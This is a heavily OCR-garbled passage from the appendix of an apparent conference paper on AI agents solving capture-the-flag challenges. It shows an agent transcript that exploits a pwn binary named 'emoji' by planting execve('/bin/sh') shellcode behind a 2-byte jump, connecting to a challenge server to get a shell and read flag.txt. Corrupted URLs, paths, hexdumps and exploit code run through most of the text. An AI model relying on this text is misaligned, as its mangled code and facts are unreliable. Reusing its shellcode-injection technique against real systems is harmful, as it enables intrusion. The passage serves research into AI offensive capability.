2. Check binary protections: Using checksec, the agent discovers that the binary has Partial RELRO, stack canary enabled, NX disabled, no PIE, and RWX segments. The lack NX and presence of RWX memory regions hint at potential shellcode injection.
3. Understand program flow: Decompiling the main function reveals menu that accepts inputs b (beer) and h (horse), corresponding to the functions a aloha and dri drinkmybeer; respectively.
4. Analyze memory allocation logic: The aloha function (triggered by the beer op- tion) seeds the PRNG, generates random page-aligned address, and makes RWX via mprotect. The address is stored globally and printed.
5. Reverse engineer code execution path: The dr drinkmybeer function (triggered by horse) allocates fresh RWX memory page and reads 0x 1000 bytes of input. How- ever, it overwrites much of this region with "A's and fixed code copied from hardcoded locations, including two shellcode stubs placed at offsets 0x202 and 0x400. Execution begins at 0x400 00.
6. Extract embedded shellcode: The agent disassembles the embedded code at 0x400660 and 0x4 00 6. The former performs syscalls (write/read), and the latter initializes registers and jumps to rax. Notably, all registers except RSP/RIP are preset to OXDEADBEEFDEADEEES
and the stack is filled with 0x41414141.
7. Craft minimal jump to regain control: Only bytes custom code are executable at offistt 0x200 before overwritten regions take effect. The agent places 2-byte relative jump instruction imp 0x200 at offset 0x200 to redirect execution back to the beginning of the input buffer, which remains untouched.
8. Prepare full exploit payload:
The agent places execve ("/bin/sh) shellcode at the start the input buffer. The two-byte jump at offset 0x200 diverts execution directly to this shellcode, bypassing the overwriting logic and fixed code at 0x400.
9. Automate exploitation: A Python script using pwntools
developed to automate interaction with the server. It first selects beer trigger memory mapping and receive the address, then selects horse to send the crafted payload.
Get shell and retrieve flag: Upon successful redirection to the shellcode, the agent gains interactive shell access and retrieves the contents of flag txt, obtaining the flag:
hxp ( 5uch htwpchhh__chhppphhhhh333.
Submit the flag: The agent submits the recovered flag to successfully complete the chal- lenge.
CTF Challenge
We're currently solving the following CTF challenge. CTF challenge pwn problem named "emoji", worth 400 points. The description is:
We re currently solving the following CTF challenge. The CTF challenge is a pwn problem named "emoji", worth 400 peints. The description is:
binary presents menu with two optiens:
(b) eer Generates random address, al alcaces a Rwx page via mmap()
(h) orse Takes 0x1000 bytes of input and executes it with
restrictions:
Input is partially overwritten with 'A's
Only bytes of custom code execution at offset 0x200
All registers except RSP and RIP are set to OXDEADBEEFDEADBEER
stack is filled with 0x41414141
74

---

Published as a conference paper at ICLR 2026
The goal is to get shell access.
Piles included in the shallenge: ('emoji_binary
The challenge server is running 1116.203. 18..11..10 10.1181777 177 port '65432' and you can access from within the container environment using "connect_stere 116.203.18.17 65432
INSTRUCTIONS:
Now, you re going solve this challenge your Your started and you're the challenge's root directory. You can use any bash commands or the special interface to help you.
terminal session
Solve the challenge, executing any commands you need and writing any code that may be helpful. You can also install in the container using "apt-get install", or Python packages with "pip install"..
software
Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command.
when you think you have found the flag, you can submit your solution by simply running the submit command.
Note however that you cannot use any interactive session commands
(e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write python script and then run with "python <script_name>.pe
NOTE ABOUT THE EDIT COMMAND: Incentation really matters! When editing file, make sure to insert appropriate indentation before each line!
IMPORTANT TIPS:
1. When you edit an existing file, try to minimize the changes make to the sile.
2. Please make sure that you make use of the interactive tools supplied to you! In any case, if you want to run blecking command like netcat (nc), please minimize the time by limiting its run time, for example using the "-w" flag of with timeout of seconds "na -w5 127.0.0.1 80".
3. Try to AVOID brute force attacks, but when you encounter brute force attack, please for the brute force instead of trying manual attempts.
script that writes output to SIDOUT
4. Please DO NOT run commands in pythen or sage through the "-c" flag, should create files instead.
5. Prefer using tools and commands available the container or other tcols available online over writing a lot of code or complicated commands yoursclf.
particular, prefer using "open" instead of "cat" and filer instead of "grep", and prefer using the interactive commands supplied to you!
6. DO NOT any command that produces binary output! Instead try to "hexaump" "xxd".
7. Please remember that the container is exposed to the internet, so you can use whatever online rescurce you would like! Use it wisely!
8. Do not use any interactive commands AT ALL! Interactive commands are only available through the commands supplied to you at the beginning make use of them!
75

---

Published as a conference paper at ICLR 2026
9. YOU CAN SOLVE THE CHALLENGES BY YOURSELF COMPLETELY TRUST IN YOU!
(Open file: n/a)
(Current directory: / home LLM_CTE _aaaaaae_ emoji) (Interactive session: n/a) bash-$
Player Model
Let start by analyzing this pen challenge. It seems to be binary exploitation challenge involving memory regicns code execution restrictions. Very interesting!
Let's break down what know:
1. Binary has two options:
(b) eer: Generates random address and allocates RWX page
(h) orse: Takes 0x1000 bytes input but with heavy restrictions
2. Key restrictions on horse opticn: Input partially overwritten with 'A's
Only bytes of custom code offset 0x200
A1l registers set to D2DEADBRRFDEADEERP except RSP/RIP
Stack filled with 0x41414141
First, should explore what files have and examine the binary's properties.
Let me start by listing the current directory to confirm the files:
1s -la
Terminal Model
http:://eeffiiiee.rrr//ttttxpppp
total 28
drwxr-xr-x root root 4096 Jan 15 10:00 drwxr-xr-x
root 4096 Jan 15 10:00
-rwxr-xr-x root root 16632 Jan 10:00 emoji_binary (Open file: n/a)
(Current directory: / home L IAM_CTT_Dattaaae_____e
(Interactive session: n/a)
bash-$
Player Model
httpp://dfftinee.or///wrtttyy//p
can see the
file with executable permissions. Before diving into any exploitation, should analyze the binary's 's properties and protections. This will help me understand what security mechanisms I'm dealing with.
Let 's check the binary's properties using the 'file' command first to understand its architecture and any protection mechani sms:
file emoji jibarry
76

---

our Published as a conference paper at ICLR 2026
Terminal Model
httpa://deftiim..oor//rrtt/////
emoji_binary ELE 54-bit LSB executable, x86-64, version (SYSV),
dynamically linked, interpreter 11166//0--1iuxxx66666-
BuildID httaaa/aaaaccreeaaa00aaaaaaaaae. GNU/Linux 3.2.0,
for
stripped
(Open file: n/a) (Current directory: / home (Interactive session: n/a) bash-$
Player Model
Great! This is 64-bit ELF binary, stripped (which means can sec function names), , dynamically linked. This analysis easier.
Let check the security protections enabled the binary using checksec. Since this is a pwn challenge, understanding the protections is crucial for aeveleping our exploitaticn strategy.
checksee emoji_binary checksec_output.ccm
Terminal Model
http:://eeffiiiee.rr////rreetete
(Open file: n/a)
(Current directory: / home LLM_CTF_ CTF_Databaae________aa__________
(Interactive session: n/a) bash-$
Player Model
Ah, it seems checksec might be installed. Let install it first. The package is typically part pwntools:
pip install pwntools
Terminal Model
http:://ceff.meeoor//rtttttppp
Defaulting installation because normal site-packages is
writeable
Collecting pwntools
Using cached pottool--44.11111122..p:::oor
Requirement already satisfied: 3.util>=3.3.0 in
htas:/Lb/ppyttoon////apppppseee (from puntools) (5.9.0) Requi rement readdy satisfied: pyserial>-2.1
htas//ib//gghon//iissppceeee (from pwntoals) (3.5) Requirement already satisfied: requuss>>>. in
/tss:/bb/oyttcc///aaapppessssss (from pwntools) (2.25.1) Requirement already satisfied: paramiko>=1.15.. in
(from pwntools) (2.9.3)
collecting ropgadget>=5.3
Using cached ROPGadget -nnnn----
77

---

Published as a conference paper at ICLR 2026
Requirement already satisfied:
pyelitocls>=0.22
= haarr//i/ppphoo///sss--eaaaeee (from puntools) (0.29)
Collecting appstone>=3.0.5r>
Using cached
Lnux_2_5_x8_64.whh (2.0
- MB)
Collecting intervaltree==3.0
Using cached antervaltree-311.0..am
(32 kB)
Freparing metadata (setup.py) ... done
Requirement already satisfied: 2.1e
htss///bbpyttoo///dlseppaaassss (from pwntools) (2.0.0)
already satisfied: six>-1.1.. in
huar:/1bb/pyhhoo//dssspaaassss (from puntools) (1.16.0)
already satisfied: sorteccctieeeeee in
/tar//aapyyttot//dssssapaasseeee (frem
ittervollreee-33.--pptttooo)) (2.4.0)
Building wheels for collected collecteel
Building wheel for intervaltree (setup.py) ... done
Created wheel for intervaltree:
- htf.anrr.ccaaaattess..e.p//p/par sieo: size-26108
38abcd84bE5
Stored in httor///iiaaiccoooooo///////a//a
+ 00013112200000000333313333333333
Successfully built intervaltree
Installing collected packages: ropgadget, intervaltree, capstone, pwntools
Successfully installed capsttone5.0.11
intervalttre-3.11.0
4 pintools-4.11. ropgadget-7.4
(Open file: n/a)
(Current directory: / home (Interactive session: n/a) bash-$
_arF__aaaaae_________ emoji)
Player Model
Now that pwntools is installed, let's check the security protections. I'll create small Python script to checksec, since can't use interactive commands:
echo 'from pwn import print (ELE ("eme jin ji_binary" checksee ()) check.py & python3 check.py
Terminal Model
https://dfffiine.rrr/rrtttatappp
[+]
Arch:
amd64-64-1ittle
RELRO: Partial RELRO
Stack:
Canary found
NX:
NX disabled
FIE:
PIE (0x400000)
RWX:
Has RMX segments
(Open file: n/a)
(Current di directory: L_ooe___iilMMCCrpppaaaabeeee_ee (Interactive session: n/a)
bash-$
78

---

Published as a conference paper at ICLR 2026
Player Model
httpps//ddfffiineerrr/wwwtete///
Interesting findings from the checksec output:
1. NX is disabled This allows code execution on the stack
2. Has RWX segments Confirms the challenge description about mmap
with RWX permissions
3. Stack canary is present
need
careful about stack
4 overflows
4. No PIE - Binary has fixed addresses starting at 0x400000
5. Partial RELRO GOT can be written to
Let's analyze the binary's behavicr more closely py decompiling the main function. Given the challenge description menticns a menu system, the main function should show us how the pregram handles the beer and horse opticns:
decompile cinarr --function_name main main_decompiled. txt
Terminal Model
httpss//doffiiieerrr//witcce/g/
(Open file: n/a)
(Current directory: L_tooo___lll_CCrpptttatleee_eee_ (Interactive session: n/a) bash-$
Player Model
http::://dfffiime.orrr/rrrttpppp
You're right, should check the output file after decompiling Let me open the decompiled main function:
open dein_deccoppleed.cxx
Terminal Model
httt:://cett..mm..rr//wiieeeee
[File: /home/l.ll_Cn (B1_l_________ [Fa___CCC___aaaaaae/mmmooo http:///mommmmmmiinmeemmemm i led.txt] undefined8 main (void)
int32_t iVarl; char *peVar2;
undefined2 local 2e; char local_2c [32];
while (1)
printf("gime (b) (h) crse
pcVar2 fgets (local_2c, 0x20, stdin); if (pcVar2 == NULL) break;
if Loyal_loccal_ee == 0x62)
iVarl aloha();
else {
if ((byte) loca__2c11 !- 0x68) continue; ivarl drinkmybeer ()
if (iVarl -1) break;
return 0;
79

---

Published as a conference paper at ICLR 2026
(Open file: n/a)
(Current directory: / I_ (Interactive session: n/a) bash-$
Player Model
The main function shows a simple menu where:
1. 'b' (0x62) calls aloha
2. 'h' (0x68) calls drinkmybeer
Given that drinkmybeer () is mentiened in the challenge description as taking our input and executing it with restrictions, let's analyze this function first. This should show exactly how our input processed and where those 2 custom bytes at offset 0x200 come into play:
decompile einarrbinary binary f-nunttionn drinkmybeer drinkmybeer.
Terminal Model
(Open file: n/a)
(Current directory: / home (Interactive session: n/a) bash-$
_imoji)
Player Model
http:://ddfftineeor//rrrtttttp/p
You
re ree
right, let me check the decompiled drinkmybeer function:
open drinkmybeer.c txt
Terminal Model
[File: /home/LLM CTF Databare/emmmllddiiitbbbbe..
int32_t drinkmybeer (void)
int32_t iVarl; char +pcVar2; size_t local_111 18;
char =local_10;
if (DAT -04_200000 == 0)
puts ("no memory yet"); return 0;
putss ("gib:");
local_10 - (char (0,, 0x1000, 7, 0x22, -1, 0) iVarl (0, local 0x1000);
if (iVarl -1) p"0_ "
return -1;
80

---

Published as a conference paper at ICLR 2026
Local 0;
while (local_1e 18 0x100) {
0x100] - 0x41; local_18 18 local_18 + 1;
1ocal_10[1oca]]]
poVar2 (char w)write "____=" 5) memcpy (pcVar2 + 0x202, $DAT_00400660, 0x3c);
local_18 = 0;
while (1ocal_18 0xc2) {
pevar2[local + 0x23e] 0x41;
1ocal_18 = 18 + 1;
memopy (pcVar2 0x400, IDAT_004006a0 0x13);
asm_call_she 1_shleeell111 code (paVar2 0x400);
return 0;
(Open file: n/a)
(Current directory: homem____ii__ Lcoee__LLLLCCC__ataaaae________ (Interactive session: n/a) bash-$
Player Model
http::///efftiine.orr///rtttpppp
This is very interesting! lit'' analyze the dri drinkmybeer function carefully:
1. First, it checks if DAT 006020a0 is 0 (probably set by the beer option)
2. allocates 0x1000 bytes RWX memory using mmap
3. Reads 0x1000 bytes from our input
4. Key memory modifications: Fills 0x100 bytes at offset 0x100 with 'A's Writes "=====" to output Copies 0x3c bytes from 0x400660 to offset 0x202
Fills 0xc2 bytes at offset 0x23e with 'A's
Copies 0x13 bytes from 0x4006a0 to offset 0x400
Finally calls the shellcoae offset 0x400
Let's see what's in the aloha function since it seems to be related to memory initialization:
decompile cmoji_binee funcction_nnme aloha aloha. txt
Terminal Model
http:s//ddffiiie..rrrgwttteeeeee
(Open file: n/a)
(Current directory: LLa_mm__LLA_CCC___aaaaaaee____e (Interactive session: n/a) bash-$
Player Model
https://ctftimee.rg htt.://ttt.t..rerrrrrreeee///eee
Let me check the aloha function:
open
81

---

Published as a conference paper at ICLR 2026
Terminal Model
http:///........aaaaaaaaaa/////a int32_t aloha (void)
[File: Thome/LLM_Ce
int32_t iVarl;
undefined8 uVar2;
time_t tVar3;
tVar3 time ;0);
srand ; uVar2 rand ;
DAT_006020a0 - (char +) (uVar2 << 0xc);
ivarl mprotect (DAT_006020aG, 0x1000, 7) if (iVarl == -1)
puts ;
DAT aAT_006020a0 = 0;
return -1;
printf ("mmaped @sp\n", DAT_006020a0); return 0;
(Open file: n/a) (Current directory: / _ LLM_CTF_ Btt_ccC__Daaaaae______ emojji) (Interactive session: n/a) bash-$
Player Model
After analyzing both functions, here's what we need to do:
1. The aloha function (beer option):
Generates random address (shifted by bits)
Makes that region RиX using mprotect
Stores address in DAT_0060208
Prints the address
2. The drinkmybeer function (horse option):
Creates a new RØX page
Takes our input (0x1000 bytes)
Overwrites specific regions with 'A's
Copies some predefined code
Executes at offset 0x400
The key observation is that we have TWO RMX pages:
1. One from beer option (random address)
2. One from horse option (for our input)
Let's first see what shellcode is being copied to our input. We can examinc the binary sections at 0x400660 and 0x4006a0:
hexdump -C emoji_binary > binary_dump.txt txt
Terminal Model
http:s//dffftiin.ooo//rrrtttttpp
(Open file: n/a)
(Current directory: homo JLMM_CTT_pataaaae___coo
82

---

Published as a conference paper at ICLR 2026
(Interactive session: n/a) bash-$
Player Model
right, let me check the dumped binary content:
open binary_dump, txt
Terminal Model
http:s//dofftiiee..rrr/wttttttte
IFile:
/home/ / LLM CTF Database/emon
jtbinary wttpry___mppttxt txt
(1000+ lines)
00000000 71 45 4c 46 02 01
01
00
00 00 00
00
00
00
00
00
I.ELF ................................
00000010 00 3e 00
00 00 10 05
00
I...........
00000020 40 00 00 00 00
00
00 00
f8 40 00
00
00
00
00 00
18
00000030
00 00
38
00
09 00
00
1f
00
1...............................
00000040 06 00 00
05
00
00
00
40 00 00 00
00
00
00 00
00000050
40 00 40
00
00
00
40 00 00
00
00
00
00
10.0
00000060 F8
00
00
00
00
f8 01 00 00
00
00
0.0
0.
00000070
08 00 00
00
00
00
00
03 00 00 00
04
00
00
0.0
00000000
02 00
00
00
00
38 02 00
00
00
00
18 18......................
00000090 38 02 40
00
00
00
00
1c 00 00
00
00
00
0.
00
18.0
00000Ca0
00 00
00
00
01 00
00
00
000000b0 01 00 00
05
00
00
00
00 00 00
00
00
00
00
0.
000000.0
00 00 40
00
00
00
00 00 00
00
00
00
00
00
00000000 ie 0a 00
00
00
00
00
00
fc 0a 00
00
00
00
00
00
000000e0 00 00 20
00
00
00
00
00
01 00 00
00
0.6
000
0.0 00
00000CEC ab 00 00
00
00
00 10 0b
00
00
00
00000100 10 ob 60 00 00 00 [...]
00
00
E0
01
00
00
00
00
00
00
(100 lines shown)
(900+ lines remaining) (Open file: http://w.......aaaa////////aaaaa (Current directory: / /_thom___ttt__emcmmm LiM____FDaa__aaaeeeee
(Interactive session: n/a)
bash-$
83

---

Published as a conference paper at ICLR 2026
Player Model
https://aaftiinee.rr//wwtttt//
We need to find the specific sectiens at 0x400660 and 0x4006a0. Let me scroll through the file:
scroll_down
Terminal Model
[File:
/home/ LLM CTP cIV__aatabase/emm.iii
http:///emme../bbbaaaaauuuggg txt (1000+ lines) ]
00000640 b1 74 2 00 00 00
0.
00
00 00
00
00
00
00
00
00
l.t/.....
00000650 00 00 00 00
00
00
00 00
00 00
00000660 90 90 90 90
90
90
90 90
90 90 90
90
90 90 90 90
00000670 90 90 90
90
90
90
90 90 90 90 90
90 90 90 bf 01
00000680 00 00 48 89 fe
ba
2.6 00 00 00 Of
05 bf 0.0
I...H...6
00000690 00 00 0=
05
00 00
00 00
4c. 8d 9. 24 00 40 0. 00
S.0.1
000006a0
89 e3 48
ef be
ad de
o7
c2
et
be
00000600 de 48 c7 c7 of be ad
de
ff e0 00
67 69 6d
6d 65
I. .in....
gimmel
000006c0 28 62
72 20
68
29
(b) or (r)
000006c0 73 65 0a 0a 00 6e 6f 20 6d 65 6d 6E 72
79 20 79
Ise...... memory yl
000006e0 65 74 00 67 69 62 3a 0a 00 30 SE
6f 00 3d 3d 3d
get. 0t..:iib..000_0_...___.. 0=0,===]]
00000Б00 3d 3d 00 6d 6d 61
70 65 64 20 40
25 70 0a 00 01
-____mpmpp @Sp...
00000700 1b 03 3b 30 00 00
00 07 00 00 00 28 F6
ff ff 80
1..:0. ................................
00000110 E1 3: 90 Ef
Ef
a8
27 EE
60
E7
EE
l...............................
00000120 57 f: = E0
E7
ff
ff
40
00 00 00 d8
E7
EE ff 42
00000730
00
ff 52 00
f7
[...]
(100 lines shown)
(800+ lines remaining)
(Open file: Thome/LLM, LLLM_CTM CTF Database/emo wtw.aaaraaaaaaaaauuuauaaaa txt) ) Doone//LL..ccTppaaaaaaee/eeeee
(Current directory: / home LLM_CTE Data_aaaaaeeee ]
(Interactive session: n/a) bash-$
Player Model
https://ctftimee.rr htt.://t....te.eeervv/v/t/////aa
Perfect! I found the crucial sections:
At 0x400660:
A series of NOPs (0x90) followed by
Some syscall code (0x0f 0x05) that seems to be using syscall numbers
84

---

Published as a conference paper at ICLR 2026
Appears be making system calls with specific values registers
At 0x4006a0:
Code that sets up registers: bash
disassemble emoji_ binary > disasm.txt
48
rbx, rsp
48 el
el
et
ad de mov rex, Oxdeadbeef
48 d7 c2
ef be ad de mov rax, Oxdeadbeef
48 c7 c7 et be ad de
rai, Oxdeadbeet jmp rax
ff e0
Let me analyze the strategy:
1. We get TWO RRX pages:
One random address (beer)
One for our input (horse)
2. We only get 2 bytes of custom code at offset 0x200
3. All registers are set to OXDEACBEEFDEADDEEE except RSP and RIP
Let me examine what syscalls being made in that first section:
Terminal Model
http:://eeffiiieerrr///ttttt//t
(Open file: n/a)
(Current directory: / _ Btt__c___Daabbbe________e_ (Interactive session: n/a) bash-$
Player Model
http:://eefftimeeorrrvrrtttt
Let me check the disassembly:
open disasm. txt
Terminal Model
http:s//ectfiinne.rrr//vvvxapppp
[File: /home/LLM__TT Lttpa//CCC_aaaaaaeeeeeeaaaaa e1f64-x86-64
httpp/cc...arabeeeee////aaaaaaaa (1000+ lines)
file format
Disassembly of section .init:
00000000004004000 init>:
400400:
48 83 ec
sub
reр, 0x8 rax, QWORD PTR
400404:
48 8b 05 ed
0b 20 00
mov _man_sttatttttt start
- [ri (rip+0x22) 0x200eed
# 600FF8
40040b:
48 85 c0
test rax
40040e:
74 05
je
400415
< <_init+0155>
400410:
e8 5b 00
00 00
call
400470
<_ gmonn_tarrtttttt
@plt>
400415:
48 83 c4 08
add
rsp, 0x8
85

---

http:://ctff.ine.orr/vvittpppppp Published as a conference paper at ICLR 2026
400419:
ret
Disassembly of section .plt:
0000000000400420 <.plt>:
400420: = 35 e2
00
push
QNORD PIR
- [rip+0x200be2]
# 601008 <_GLOBAL OFFSET _
+0x8>
400426:
= 25 e4 0b 20 00
imp QWORD PTR WWW_OOOTFSSELLLLEEEE
[rip+0x200be4]
$ 601010
40042c:
0 1f
nop
DWORD PIR
- [rax+0x0]
00000000004004430
<puts@plt>>:
400430:
jmp == 25 e2 601018 <puts#GLIBC 2.2.5>
00
QWORD
- 1#ip+0x200be2
400436:
68 00 00 00 00
push
0x0
40043b:
e9 e0 ff ff ff
imp
400420 <.pit>
[...]
(100 lines shown)
(900+ lines remaining)
(Open file: /hwme/LLM_CTTE _CFF________________ Daw.aaaaeeeemjiiiisseeseeessssee txt)
(Current directory: home LLM_CTE LiM_CTF_Database_ (Interactive session: n/a) bash-$
Baa____aaaa___a_________________ emoji)
Player Model
Let me search speci specifical fically for the sections we're 'r interested in:
soarch_file "400650" disasm.txx txt
Terminal Model
http:://dcfftiiee.or///rttttttp
Binary file disasm. txt matches
(Open file: /home/LIM CTF Datapaaaaaaaaaaaeeeeeaa /ttabasse/mmjj/ddisss.. /i/disasm. txt)
(Current directory: / home LLM_CTE _aa_aaeabbsee _ataaaas_____eoaaa (Interactive session: n/a) bash-$
Player Model
http:://ccffiinee.rrr//itttttg
Let me check what's at offset 0x400660 more directly by creating
Python script analyze the memory layout:
create analyze.pp
Terminal Model
httpp://daffiine.ogg/rurtteeee/
[File created: /hwme/LLL__CTI htnm:://h........oaaaaooo/oo///s (Open file: /home/LLM CTF
(Current directory: / home LLM BWt___CTDDaataae________ emooji
(Interactive session: n/a) bash-$
86

---

Published as a conference paper at ICLR 2026
Player Model
httpss//doffiineerrr///rttt/p//
I'll write script to analyze the binary and dump the relevant sections:
edit 1:1 from pwn import
Load the binary elf ELF (1 htt.://mmmjiiimiooe..
Dump the sections we' re interested in print ("Section at 0x400660:") print (hexcump rel (0x400660, 0x3c)))
print ("InSection at 0x4006a0:")
print (hexcump rel 0x13)))
Disassemble these sections print sassembly print (disasm read (0x400666, )x
lysmblla 0x400660:")
print ("AnDisassembly at 0x4006a0:")
print (disasm (elf, read (0x4006a0, )x
end_of_edit
Terminal Model
httpss//ccffiiine.rrr///wwxtoppp
File updated, Please review the changes and make sure they are + correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.
Context of the updated file (line 1-15): from pwn import
Load the binary elf ELF (1 //em//mooi semojjibbinary"
Dump the sections wo re interested in print ("Section at 0x400660:") print (hexciump ( (0x400660, 0x3c)))
print ("\nSection at 0x4006a0:")
print (hexcump rea (x13)))
Disassemble these sections print sassembly 0x400660:")
print (ead (0x400660,, 0x3c)))
print (*AnDisassembly at 0x4006a0:")
print (disasm(elf (ex. 0x13)
(Open file: htt.a//.......aaaaaa//aaaaaaaaaa (Current directory: / /_hoo________ h_whh_oo_oi_ieeCCCCaeeaa (Interactive session: n/a)
bash-$
87

---

Published as a conference paper at ICLR 2026
Player Model
The script looks good with proper indentation, Let's run it analyze the crucial sections of the binary:
python3 analyze.py analysis.
Terminal Model
httpss//cstttime..or///rreep///
(Open file: /home/LLe LLM CTF Databbas//mmjj/anaaayyae
(Current directory: / home LLM CTF Database _mojii
(Interactive session: n/a) bash-$
Player Model
https://ddffiinee.rr//wttttttt
You' re right, let me check the output of our analysis:
open analysis.txx
Terminal Model
https://ccttiie.oor////ttt/////
[File: /home/LLM CIF Ctt..aaaaaseeeeeeiioiiiii [+]
Arch:
amd64-64-1ittle
RELRO:
Partial RELRO Canary found
Stack:
NX:
Nx disabled
PIE:
PIE (0x400000)
RWX:
Has RäX segments
Section at 0x400660:
00000000 90 90 90 90 90 90 90 90
90 90 90
90 90 90 90 90
................................
00000010 90 90
90 90
90
90
bf
1.... ................................ ................................
00000020 00 00 00 48 89 fe ba 26
00 00 00 0f
05 bf
00 00
||..HI- & .....
00000030 00 00 0= 05 00 00 00 00
00000038
Section at 0x4006a0:
00000C00 4c 8d 9c 24
00 00
48 89 48 c7 cl ef be
00000010 ad de
00000012
Disassembly at 0x400660:
0: 90
nop
1: 90
nop
2: 90
nop
3: 90
пор
4: 90
пор
5: 90
пор
6: 90
пор
7: 90
nop
88

---

Published as a conference paper at ICLR 2026
8: 90
nор
9: 90
пор
a: 90
пор
b: 90
пор
0:
пор
d: 90
пор
e: 90
nор
f: 90
пор
10: 90
nор
11: 90
noр
12: 90
nор
13: 90
nор
14: 90
nор
15: 90
поp
16: 90
nоp
17: 90
nop
18: 90
19: 90
пор
1a: 90
nор
1b: 90
noр
1c: 90
nep
1d: 90
nор
le:
of
01
00
00
edi, 0x1
23:
48
89
mov rsi, rdi
26:
ba
26
00
00
00
mov edx, 0x26
2b:
of 05
syscall mov
2d:
bf 00
00
00 00
edi, 0x0
32:
of 05
syscal1
34:
00 00
add BYTE PTR [rax], al add BYTE PTR [rax], al
36:
00 00
Disassembly at 0x4006a0:
4c
00
lea r11, [r6p+0x4000]
7: 00
8: 48 89 c3
mov
rbx, Oxdeadbeef
b: 48 c7 cl e be ad de
mov
(Open file: /hw.e/LLLmmMMCE LLF_ ht (Current directory: / home SarF__Dtaabase ) (Interactive session: n/a) bash-$
Player Model
Now have much clearer picture of what's 's happening. Let me analyze the code:
1. 0x400660 (copied to offset 0x202)
A bunch of NOPs
Makes syscall with:
edi 1 (write syscall)
rsi rdi
edx 0x26 (38 bytes)
Another syscal1 with:
edi 0 (read syscall)
2.
0x4006a0 (copied offset 0x400)
lea r11, [rsp+0x4000] mov rbx, rap
mov rex, Oxdeadbeef
(followed by more register sctups)
89

---

Published as a conference paper at ICLR 2026
The key real realization:
1. we get 2 bytes of custom code at offset 0x200
2. After our 2 bytes, there's code that does write/read syscalls OXCEADBEEF except RSP/RIP
3. All registers will
Let me create a script to exploit this. The strategy:
1. Use beer to get known RWX address
2.
Use our bytes at offset 0x200 to jump to shelleode
3.
Place shellcode in region that won't be overwritten
Let me create the exploit script:
create exploit.py
Terminal Model
[File created: DTtm://IIAALLIItttttaaoaoomoooot (Open file: /home Mime/LLX LLLLLLLMMCCR/// httpppaaaaaaseemmm//////oolo.tte
(Current directory: home WLLM__FF_D_______ _aa _mmjii) (Interactive session: n/a) bash-$
Player Model
https://ctftiii ert /2546 25465
I'1l write our exploit script that will handle both the 'beer' and 'horse' interactions:
edit 1:100 from pwn import
Shellcode for execve ("/bin/sh", 0, 0)
shellcode = b""x311 wx031 x481xbbbbk \xd1 http::/:w.........ooooooeeeeeeea \xf7\xdb (obbxx53%x5555 wtwp://wwwwww.//////////ooo/aaaa
def main(): ():
Connect to the server
("116 203. 177',,, 65432)
First, get beer allocate memory and get address p. recvunti horselnnn")
p. senddline (b'b')
response = recvline () decodee
addr = int (response, split ('0') strip(, 16) log. info (f"Mapped address: (aex())dr) )")
Now create our payload for horse option payloac = bytearray (0x1000) # Full size
Fut shellcode at beginning payload(0: (0:1en (ahellcode) shellcade
offset 0x200, put our 2-byte jump back to start Calculate relative jump: 0x200 start (negative offset)
imp offset -0x200
payload (x2000 0x202] = asm ( jmp str offset),
arch=! amd
90

---

Published as a conference paper at ICLR 2026
Send horse payload
p. recvuntil (b hhrrsesnnn')
p. s.senili in (b (b'h')
p. recvuntil (b' 'gib: An!)
p. pesend (payload)
# Interactive shell
p. i.interactive
if name
main
main ()
end_of_edit
Terminal Model
httpps//ddffiiieerrr///witttt//
File updated. Please review the changes make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.
Context of the updated file (line 1-42);
from pen import
# Shellcode for execve ("/bin/s"" 0, 0) shellcode = http://wwww..aaaoa..aaa/aaeeeean
def main ():
# Connect to the server
p @emote('11e) 10.. 65432)
First, get beer to allocate memory and get address (b' (b'.unttillhhohssseee p. sendline (b'b') response p.recvline .decode
addr int (response split [1] (tripp) 16)
log.infe (n (f"Mapped address: (hex (addr) )")
Now create payload for herse option payload (0xe
Full size
Put shell 1 code at beginning payload| (shelllcodd | shellcode
offset 0x200, put our 2-byte jump back to start Calculate relative jump: 0x200 to start (negative offset) jmp_offset -0x200
payload[0x2]] 0x202] asm (" jmp str (fmp_offs)), arch=' amd64')
# Send horse payload
reevuntil (b' (b'horseAn\n")
p. sendline (b'h')
p. recvuntil (b giib: \n")
sene (payload)
Interactive shell
p. i.interactive
if rame
= main :
main ()
91

---

Published as a conference paper at ICLR 2026
(Open file: /home/LIa CTF Dtt.aaasee/mmeee//peooo........ /
(Current rirectory: / Lroom___iiM_CFF__aaaaaa emoji) (Interactive ive session: n/a) bash-$
Player Model
The script looks good with proper indentation. The strategy is:
1. Get 'beer' allocate RMX memory and get its address
2. For 'horse' option:
Place shellcode at the beginning (won't be overwritten)
Place 2-byte relative jump at offset 0x200 to jump back to
our shellcode
register setup code 0x400 that = would overwrite our registers
The jump avoids
Let's run the exploit:
python3 exploit.py
Terminal Model
[+]
Opening connection to 116.203.18.177 on port 65432: Done
[+] Mapped address: 0x6f3e4000
[+] Switching to interactive mode
---==$
Elag.txt
emoji_binary
$ cat flag.txt
exit
[+] Got EOF while reading in interactive
[+] Closed connection to 116.203.18.11 port 65432
(Open file:
py)
(Current rirtcrry: _omee___ IMM_CTF [at_c_F_Dataaaeee_.mmm emoji) (Interactive session: n/a)
bash-$
Player Model
Great! We've successfully exploited the binary and found the flag.
Let me explain what worked:
1. The key insight was understanding the memory layout and restrictions:
Our 2-byte control at offset 0x200 was crucial
The beginning of our input wasn't overwritten
Me needed to avoid the register setup code 0x400
2. Our exploit worked by:
Getting a known RWX page address (though we didn't t need it) Placing shellcade at the start of our input
Using 2-byte relative jump at offset 0x200 to jump back to our shellcode
Successfully bypassing all restrictions and getting shell
3. The successful exploitation gave shell access where found:
92

---

Published as a conference paper at ICLR 2026
I Flag. The flag is:
txt txt containing the flag
Let 's submit the flag:
submit
H.4 TRAJECTORY ANALYSIS OF SNAKE LICENSE CHALLENNE
The reverse engineering (rev) challenge "Snake License" from the Hack.lu CTF 2018 presents Windows binary for a Snake game. The game requires valid 16-character license key run, and the goal is to reverse engineer the binary and discover the correct key.
The agent successfully solves the challenge through the following steps:
1. Locate and examine challenge files: challenge directory and confirms that the provided binary is a 64-bit Windows PE executable file named snake.
The agent begins by listing the contents of the
2. Extract strings for reconnaissance: The agent runs the strings command on the executable look for readable messages or potential clues related to the license validation routine. In the output, meaningful strings such as "Please enter your 16-character license key" and "Invalid License Key!" confirm the existence of license validation mechanism.
